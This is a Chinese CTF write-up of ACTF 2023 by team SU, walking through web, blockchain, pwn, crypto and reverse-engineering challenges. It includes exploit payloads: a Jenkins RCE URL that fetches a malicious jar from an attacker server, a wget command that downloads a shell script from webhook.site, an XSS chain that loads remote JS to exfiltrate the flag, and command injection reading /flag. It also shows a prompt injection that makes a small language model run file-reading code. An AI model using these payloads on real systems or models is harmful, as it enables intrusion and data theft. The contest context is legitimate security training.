感谢 AAA 的师傅们精心准备的比赛!本次比赛我们 SU 取得了第二名🥈的成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,欢迎发送个人简介至:suers_xctf@126.com 或者直接联系书鱼 QQ:381382770。
以下是我们 SU 本次 2023 ACTF的 writeup。
Web
craftcms
和CVE-2023-41892有关
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41892
利用该cve可以完成包含文件的操作。
1 | POST / HTTP/1.1 |
直接打文件包含+session进度上传。
1 | import io |
一边上传一边包含即可:
1 | POST / HTTP/1.1 |
easy latex
preview路由存在xss
这里可控
可以加载我们的恶意js文件
跟进visit函数
这里是我们的bot机器人
所以这里存在CSRF漏洞,req.parm支持url编码解析,加上preview路由能够让bot触发远程js
/share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%68%75%61%68%75%61%26%74%68%65%6d%65%3d%2f%2f%31%32%34%2e%32%32%30%2e%32%31%35%2e%38%3a%37%38%39%30%2f%68%75%61%68%75%61
成功访问到
正好可以加载我们的恶意js文件
在huahua目录下面去写入我们的恶意js文件
bot的cookie里面有flag,但是存在httponly,无法盗取cookie
1 | 通过fetch post请求 login 和 vip,获取flag |
接着去加载恶意的js文件
/share/%2e%2e%2f%70%72%65%76%69%65%77%3f%74%65%78%3d%68%75%61%68%75%61%26%74%68%65%6d%65%3d%2f%2f%31%32%34%2e%32%32%30%2e%32%31%35%2e%38%3a%37%38%39%30%2f%68%75%61%68%75%61
成功收到请求
hook
Gateway: http://124.70.33.170:8088/
Intranet jenkins service: http://jenkins:8080/
nginx/1.25.3
解题过程:
参考上面的利用gitlabs搭配完成攻击内网jenkins的操作。
gitlabs上面部署webhooks,然后让hook去访问http://124.70.33.170:8088/,发现携带了body,导致站点给出方式不支持的错误,但是gitlabs貌似不支持自定义请求格式,所以这里用302跳转去清空请求头,这样访问到页面就是get方式。
这时候站点提示让我携带redirect_url参数,测了好久发现用题干给的http://jenkins:8080/就可以直接访问题目,发现版本号jenkins-2.138,直接打cve:https://aluvion.github.io/2019/02/26/CVE-2019-1003000%E5%A4%8D%E7%8E%B0/
php开302
1 | <?php |
写恶意jar:
1 | //echo Hhhh123 > META-INF/services/org.codehaus.groovy.plugins.Runners |
name:什么都可以
root:vps ip
group:a即https://x.x.x.x/a目录,group用一次后jar会缓存,所以每次失败都得重新生成。
module、version:恶意jar文件的名字,即module-version.jar
最后形成:http://vpsip:port/hh3/hhhhhh/1/hhhhhh-1.jar
Exp:
1 | http://vps:port/index.php?redirect_url=http%3A%2F%2F124%2E70%2E33%2E170%3A8088%2F%3Fredirect%5Furl%3Dhttp%3A%2F%2Fjenkins%3A8080%2FsecurityRealm%2Fuser%2Fadmin%2FdescriptorByName%2Forg%2Ejenkinsci%2Eplugins%2Eworkflow%2Ecps%2ECpsFlowDefinition%2FcheckScriptCompile%3Fvalue%3D%2520%40GrabConfig%28disableChecksums%3Dtrue%29%250a%2520%40GrabResolver%28name%3D%2527orange%2Etw%2527%2C%2520root%3D%2527http%3A%2F%2F139%2E159%2E197%2E129%3A10003%2F%2527%29%250a%2520%40Grab%28group%3D%2527hh3%2527%2C%2520module%3D%2527hhhhhh%2527%2C%2520version%3D%25271%2527%29%250a%2520import%2520Hhhh123%3B%0A |
Ave Mujica’s Masquerade
仔细阅读CVE-2021-42740分析文章https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html
1 |
|
1 | http://<url>/checker?url=127.0.0.1:`:`wget$IFS\webhook.site/<id>/$IFS\-O$IFS/tmp/s.sh``:` |
mygo
命令注入,简单绕过一些过滤即可。
checker?url=:1%0d-iL%09/flag-????????????????%09-oN%09/dev/stdout
story
需要使得vip为true才能进行后续操作,这里需要generate_code等于session中的vip,generate_code
但似乎没找到python预测随机数的办法,爆破显然实现不了,只找到一个可能的实现方法,如下
flask-session不会改变,所以成为一次vip就可以一直使用同一个session
1 | import requests |
带上session/write
路由传ssti payload,在/story触发ssti,有个waf
发现SECRET_KEY
是写在config里面的,story是从session里面直接获取,直接伪造session即可绕过waf执行ssti rce,所以想办法获取config
waf随机取三条规则,当输入符合这三个规则集其中一条时,返回 False,如果任何一个规则集未被满足,返回 True,不进入下面判断
1 | if not minic_waf(story): |
waf规则中有一条不带有config,由于规则抽取的随机性,当三条规则都为rule6时,config将不再触发waf,所以固定session重放获取SECRET_KEY
1 | {"story":"{{config}}"} |
然后伪造session中story ssti rce
1 | @app.route('/getsession', methods=['GET']) |
Misc
东方原神大学
Viper
题目描述
解题思路
这题非常明显地暗示了Viper(Vyper)
这一关键词,不难联想到前段时间的Curve的重入攻击事件(事件分析 By ZAN/事件分析 By 零时科技),大致情况是智能合约编程语言Vyper的0.2.15
、0.2.16
、0.3.0
版本编译器存在重入锁故障(即在一笔交易中,两个不同函数的重入锁,并不共享一个锁变量,导致合约可以被跨函数重入攻击)。
将题目合约代码Viper.vy
转换为等价的Solidity代码,并删去nonreentrant
修饰器函数以便阅读(删去仅是为了方便理解,实际上单函数自身的重入锁是有效的),得到Viper.sol
如下:
重入这一攻击类型也是经常接触到的,我在这里就直接给出函数调用路径而不作详细解释了:
- 我们的目标是**清空题目合约中的ETH余额,初始状态下余额为3 ETH**
构造
receive
函数,在触发重入效果时执行deposit
coins[1]
操作:1
2
3
4
5
6receive() external payable {
if (msg.value == 1) {
uint256 amount = token.balanceOf(address(this));
target.deposit(1, amount);
}
}调用
preSwap
函数,使用msg.value=1 ether(ETH is coins[0])
兑换得到coins[1]
的balances
,同时提前approve
以便后续transferFrom
成功:1
2
3
4function preSwap() external payable {
target.swap{value: msg.value}(0, 1, msg.value);
token.approve(address(target), type(uint256).max);
}调用
hack
函数,循环执行4
次,每次withdraw
所拥有的全部coins[1]
,并且将其swap
为ETH(coins[0])
,同时附带msg.value=1 wei
以便重入到receive
函数时进行识别,在执行4
次循环后我们就有足够的balances[0]
来withdraw
题目合约上所有的4 ETH(3+1=4):1
2
3
4
5
6
7
8function hack() external payable {
uint256 amount = target.balances(1, address(this));
for (uint i = 0; i < 4; i++) {
target.withdraw(1, amount);
target.swap{value: msg.value}(1, 0, 0);
}
target.withdraw(0, address(target).balance);
}- 这样我们便能够在不消耗
coins[1]
的balances
的同时(在重入过程中withdraw
又deposit
,值没有改变),增加了_after
和_before
的差值(在_before
值记录之前就已经withdraw
出来了coins[1]
,而_after
的增量来自于deposit
,这个过程中执行了swap
zhi 之外的transferFrom
)从而增加我们的balances[0]
,跨函数重入利用成功。
以下是攻击合约Farmer.sol
和解题脚本solve.py
的代码:
1 | // SPDX-License-Identifier: MIT |
1 | from Poseidon.Blockchain import * |
得到**flag**为:
1 | ACTF{8EW@rE_0F_vEnom0us_sNaK3_81T3$_as_1t_HA$_nO_cOnSc1ENCe} |
AMOP1
题目描述
解题过程
这题基于**国产联盟链FISCO BCOS构建,主要的知识点是链上信使协议**AMOP (Advanced Messages Onchain Protocol),题目描述中给了足够多的提示,只需使用现成的工具连接到题目区块链环境并订阅消息即可。
下载并构建交互工具(提前安装好 java 8
或以上版本):
1 | git clone https://github.com/FISCO-BCOS/java-sdk-demo.git |
之后修改dist/conf/amop/config-subscriber-for-test.toml
中的network
配置项:
然后将题目附件中的ca.crt
、sdk.crt
、sdk.key
、privkey
四个文件移动到dist/conf
目录下:
最后分别执行下面两条命令,订阅并获取公共频道(flag1)
和私有频道(flag2)
的消息:
1 | java -cp 'conf/:lib/*:apps/*' org.fisco.bcos.sdk.demo.amop.tool.AmopSubscriber 'flag1' |
拼接后得到**完整flag**为:
1 | ACTF{Con5oR7ium_B1ock_cHAiN_sO_INterESt1NG} |
AMOP2(非预期 未正确解出)
题目描述
解题思路
这题在第一题的基础上增加了难度,虽然研究了很久,但由于是初识**FISCO BCOS,对底层原理等深入的内容并不了解,没有正常解出。但推测大致思路是基于中间人攻击 MITM,自行搭建一个中间节点,与题目节点互相建立P2P连接
,同时加入联盟链成为观察者节点 Observer
,由于AMOP
协议会将消息也同步发送给观察者节点
,由于消息本身未进行加密,只是多加了一层身份验证,那么这样我们自己的中间节点便可以捕获到消息发送者 Publisher
通过AMOP
协议发送到私有频道
的消息原文,可以借助它完成或绕过身份验证并读到flag**消息。
(以上是比赛时的非预期解结果,我意外解出的原因大概是在我订阅消息的同时出题人恰好运行了他的solve
脚本,此时由于证书文件一致或是联盟链身份验证的一些特性,导致我这边也临时通过了身份检验,共享了他的成果,意外地拿到了flag,后续本着实事求是的比赛精神,经过双方联系达成了此次非预期作答不计分的共识。)
以下是出题人赛后提供的solve
脚本,本质上是基于文档中私有话题的认证流程
部分内容从网络通信层
进行中间人攻击
,留作参考:
1 | from pwn import * |
SLM
先交互爆破
1 | from pwn import * |
本地调试poc
Olivia has $23.then print(open('/flag').read();; She bought five bagels for $3 each.How much money does she have left?
本地验证
log记录
远程超级卡
直接用脚本的多跑几次
1 | from pwn import * |
CTFer simulator
一个用TS(JS)写的在线游戏模拟器
https://github.com/morriswmz/phd-game
1 | if (t !== i.EndGameState.None) return this._gameState.playerInventory.count("flag") >= 8 && this._gameState.tracer.check(), void(yield this.start(t === i.EndGameState.Winning)); |
只要flag>8游戏就胜利了,正在思考怎么调
可以用代理拦截重写配置文件 增加每次flag获取 但是flag为10的时候结束游戏也没有弹出flag
flag数>=8后到达获胜条件之后会触发一个check()函数(正常游玩基本上不可能达到8的):
会构造一个请求向后端发送请求,传输的数据包括随机数种子,随机数以及用户的行为,如果满足条件应该就可以拿到flag了,请求包格式为:
1 | POST /api/verify HTTP/1.1 |
现在在思考怎么构造
可以用#init_seed= 来控制随机数的seed 用的seedrandom的alea方法生成随机数
游戏共48小时 有48次机会
复习使用一次
考试会跳过1h
一次flag流程:
insight->draft->tuned->submit共用4次
每小时降低10点精力
考试额外降10点
提交flag恢复10点
goodinsight恢复10点
可以规划出一个需要最少休息的路线 并控制prng使其实现
写了一个爆破种子的脚本
1 | var seedrandom = require('seedrandom'); |
30个0.6以下的随机数:3830475
35个0.6以下的seed #init_seed=44702381 用这个随便打了一下 能打到7个flag 我觉得这个种子优化一下操作肯定能出
唉 傻逼了 改获取flag没法通过校验但是可以改用户的体力
把这个events.yaml的返回包抓了,这个是配置文件,改成:
1 | --- |
然后正常打拿完8个flag就可以触发check获得flag
Pwn
master-of-orw
利用io_uring系统调用orw。
1 | from pwn import * |
Blind
盲Pwn,感觉得先找到栈溢出在哪边,然后试着泄露一下栈上的数据
试着输入
1 | 7d40w |
能够泄露一些栈的基本数据,可以利用这一点寻找BROP
目前感觉,程序使用了一个结构体:
1 | typedef struct{ |
这个程序在
1 | Aaaaaaa\x00> |
前半部打印的时候,会使用这个结构体,而且这个结构体猜测它是这样放的:
1 | [Aaaaaaa\x00][bufferptr] |
所以,当我们尝试使用
1 | d[num]s |
的时候,这个offset就会发生位移
经过测试,利用下面的位移就能够通过修改指针,实现任意地址泄露
1 |
|
然后根据上述的思路,可以先编写一个用于泄露的脚本
1 | from pwn import * |
完成leak操作之后,虽然binary不太能看,但是勉强已经能做了。感觉之前有些分析的逻辑有点不对,不过就顺势做下去就好了。利用前面的偏移操作实现任意地址写,然后泄露libc,完成ret2libc即可。
最后稍微提一个小坑:因为这个最后/bin/sh字符串执行的时候,存在s,会导致偏移发生错乱,所以这里需要再修改指针最后加一个移动(做到这一步的人应该能理解我在说什么)
1 |
|
qemuplayground-2
mmio越界覆盖4字节的指针,相对地址大范围读写,可以泄露堆上的unsortbin指针然后找到本线程的arena,再通过多次解引用找到main_arena,泄露libc地址,最后打house of apple2的链子运行system(“cat flag 1>&2”)
1 |
|
Crypto
EasyRSA
$$ED-k_1n_1=A\ED-an_2=B\ED-dn_3=C$$
存在这三个等式关系,其中D,A,B,C均为小于E的较小数直接造格就好
1 | M = Matrix(ZZ,[[e,e,e,2^767], |
MDH
1 | # sage |
claw crane
这里是用WASD去移动到特定的position,显然方案不止一种,不同的方案会影响后边函数gen_chaos的输出
destiny函数直接影响了score,delta越小以及bless越大则赢的概率越大。因此考虑怎么让delta小一点,而p和q是可控的,这里考虑造个格(?)规约。或者不管r的值,毕竟它经过md5输出也不太可控,把delta的式子看作不定方程。
md5那个位置该怎么利用没想好。
可以通过前64个move来控制vs,使得计算md5(self.seed + vs)的时候,结果总是上一次的self.seed,r就固定了:
1 | last_chaos = ... |
再通过move[64:]走到pos处
1 | from pwn import * |
CRCRC
在crc128中有一个初始值,经过调试可以得到头尾固定时的状态转移过程
$$state_1->state_2->state_3->state_4$$
由1到2是前一段base64可得,由4->3反推可以使用上面的re_crc128函数
所以最终要解决就是已知状态2和状态3,求一个在base64表中的的data值
$$crc(\Delta \oplus a)\oplus crc(\Delta \oplus b) = \textrm{const}\quad \forall \Delta$$
由这个式子可以转换成mod2加法,由于需要可见字符,所以考虑更多bytes的data,测试考虑30位的data,这样base64decode可以满足flag条件
如何对于矩阵来说
则矩阵形式为128(308)X=1281
所以可以固定243<308-128位,直接固定每个字符前3位为010,在再解空间爆破
1 | def crc128(data, poly=0x883ddfe55bba9af41f47bd6e0b0d8f8f): |
MidRSA
$$ED-k_1n_1=A\ED-an_2=B\ED-dn_3=C$$
存在这三个等式关系,其中D,A,B,C均为小于E的较小数.
这里相比于上面卡了4-6bits的界,所以爆破一下高位就行
$$E(h_d+d_0)-k_1n_1=h_a+A_0\E(h_d+d_0)-an_2=h_b+B_0\E(h_d+d_0)-dn_3=h_c+C_0$$
展开造一个类似的格,然后爆破就ok,时间上也是几分钟
1 | for i in tqdm(range(70000,2^20)): |
Rev
native app
flutter题,用https://github.com/worawit/blutter 分析libapp.so可以解出dart代码及偏移量
1 | [closure] void _onChanged(dynamic, String) { |
其中_onChanged对应将输入框内容同步到文本框,_onSubmit对应输入法确认按钮在文本框对应提交操作,_onTap和_onLongPressed分别对应提交按钮的点击和长按。
经测试发现操作序列为提交、点按、长按。提交和点按分别对应State里两个String成员字段的赋值,之后按钮长按事件最为可疑,其中调用函数为sub_1DEBF0(),观察其函数内部的流程图,将StackOverflowSharedWithoutFPUR()视为异常分支,可以理解该函数主体为一循环。
输入”abc”,ida断点在0x1DEC60观察边界条件,可发现w0是0x44,w1是0x06,其中w0是预期字符串长度,w1是当前字符长度,结合Dart的SMI整数表示特点,预期的字符串长度实际为0x44/2=0x22即34个字符。
输入34个随机字符(大小写字母+数字)继续测试发现该循环对字符串进行了逐字符比较,在界面上输出false或true。并且每个字符被映射到的字节值和字符所在位置有关,构造映射表不可行。尝试若干字符后,发现映射前后大致存在线性关系,存在二分法加速暴力枚举的可能性。故通过断点在单个字符判断条件上暴力得到flag:Iu2xpwXLAK734btEt9kXIhfpRgTlu6KuI0
qemu-playground-1
要调内核吗,没看懂什么意思
怎么感觉下面这个是加密函数
一些shell读写mmio、pmio技巧:
查看设备mmio、pmio地址范围:
cat /sys/devices/pci0000:00/0000:00:04.0/device
1
2
30x00000000febf1000 0x00000000febf1fff 0x0000000000040200
0x000000000000c040 0x000000000000c05f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000- 第一行是mmio,地址从0x00000000febf1000到0x00000000febf1fff,4096bytes但似乎qemu代码里显示只能访问64bytes
- 第二行是pmio,地址从0x000000000000c040到0x000000000000c05f,可访问0x20bytes
访问mmio,注意你的地址可能和我的地址不一样
- 将mmio全部16*4bytes写0
1
2
3
4
5
6
7
8START_ADDRESS=0xfebf1000
NUM_WORDS=16
i=0
while [ $i -lt $NUM_WORDS ]; do
ADDRESS=$((START_ADDRESS + i * 4))
devmem $ADDRESS 32 0 # 这里0是要写入的值
i=$((i + 1))
done- 读mmio
1
2
3
4
5
6
7
8START_ADDRESS=0xfebf1000
NUM_WORDS=16
i=0
while [ $i -lt $NUM_WORDS ]; do
ADDRESS=$((START_ADDRESS + i * 4))
printf "Address: 0x%08x, Value: 0x%04x\n" $ADDRESS $(devmem $ADDRESS 32)
i=$((i + 1))
done访问pmio
读pmio地址空间里,0x0000c04及以后的内容
1
xxd /dev/port | grep -A 10 "0000c04"
写特定地址,下面是往pmio空间内偏移为0x1的地址写了一个0x1,从代码里看,往0x1这里写值会触发他的worker thread
1
echo -n -e "\x1" | dd of=/dev/port bs=1 seek=$((0xc040 + 0x1)) count=1 conv=notrunc status=none
z3写一下加密逻辑
1 |
|
主要在于有个初值, 原本假设为0, 所以z3没跑出来, 后面用文档里的方案触发了加密函数, 调试看到了magic不是0
不懂为什么用pwn模板的pmio没法触发, 做pwn会比较麻烦
bad flash
nc发送的数据被作为程序的标准输入,分析发现接受两种类型的cmd,这里直接用shell语句构造。由于要求每个cmd总长度为256,这里用printf补0x00
FLASH指令,cmd后面要接要flash进去的image文件内容,FLASHSZ指定的是image文件的长度
1
nc 120.46.197.71 9999 < <(cat <(echo -n '.COMLEN:256.OP:FLASH.FLASHSZ:1048904.') <(printf '\x00%.0s' {1..219}) ./flash.img)
执行显示成功
1
2
3
4> Start flashing...
IMG_ID: c68941c31d91260ccdcc8b05fc17c009
New banner program flashed.
>ECHO指令,后面不需要跟image文件,但是也要求cmd总长256.
1
nc 120.46.197.71 9999 < <(cat <(echo -n '.COMLEN:256.OP:ECHO.FLASHSZ:0.') <(printf '\x00%.0s' {1..226}))
执行得到
1 | > Fl4sh the device to display a welcome message. |
注意到可以一次nc里带多个cmd,例如先FLASH再ECHO,但是也没有什么变化。
1 | nc 120.46.197.71 9999 < <(cat <(echo -n '.COMLEN:256.OP:FLASH.FLASHSZ:1048904.') <(printf '\x00%.0s' {1..219}) ./flash.img <(echo -n '.COMLEN:256.OP:ECHO.FLASHSZ:0.') <(printf '\x00%.0s' {1..226})) |
以上FLASH过程在本地执行时报0x09错误,死在了verify_header()函数上,猜测是本地和远程的verify_header()实现不同,用binpatch掉这个verify_header(),本地跑可以跑到后面flash_to_file()生成/data/tmp-plain-img,其中没有flag,但是有个NOTICE提示flash过程是突破点。
分析image结构:
- [0:72]是头信息
- [72: 72+128]是RSA1024的签名,elf文件里含有4个公钥,用的是最后那个
- [72+128: 72+128+128]是用RSA1024加密后的aes密钥,用gdb断点在aes_decrypt_image()上可以获得aes key和iv
- [72+128+128: 末尾]是AES CBC mode加密的ext4文件,里面有一个NOTION文件提示了要替换/data/welcome,从/data/flag读出flag
分析发现负责签名验证的verify_signature()函数没有验签
可以拿gdb断点在aes_decrypt_image()上可以获得aes key和iv以及解密后的ext4文件。拿losetup和mount挂载这个ext4文件,然后编一个aarch64的elf文件换掉里面的/data/welcome然后umount。
再重新加密回去替换掉原来image文件的[72+128+128: 末尾]部分即可构造可以被远端接受的image:
1 | from Crypto.Cipher import AES |
先FLASH再ECHO
1 | nc 120.46.197.71 9999 < <(cat <(echo -n '.COMLEN:256.OP:FLASH.FLASHSZ:1048904.') <(printf '\x00%.0s' {1..219}) ./repacked_flash.img <(echo -n '.COMLEN:256.OP:ECHO.FLASHSZ:0.') <(printf '\x00%.0s' {1..226})) |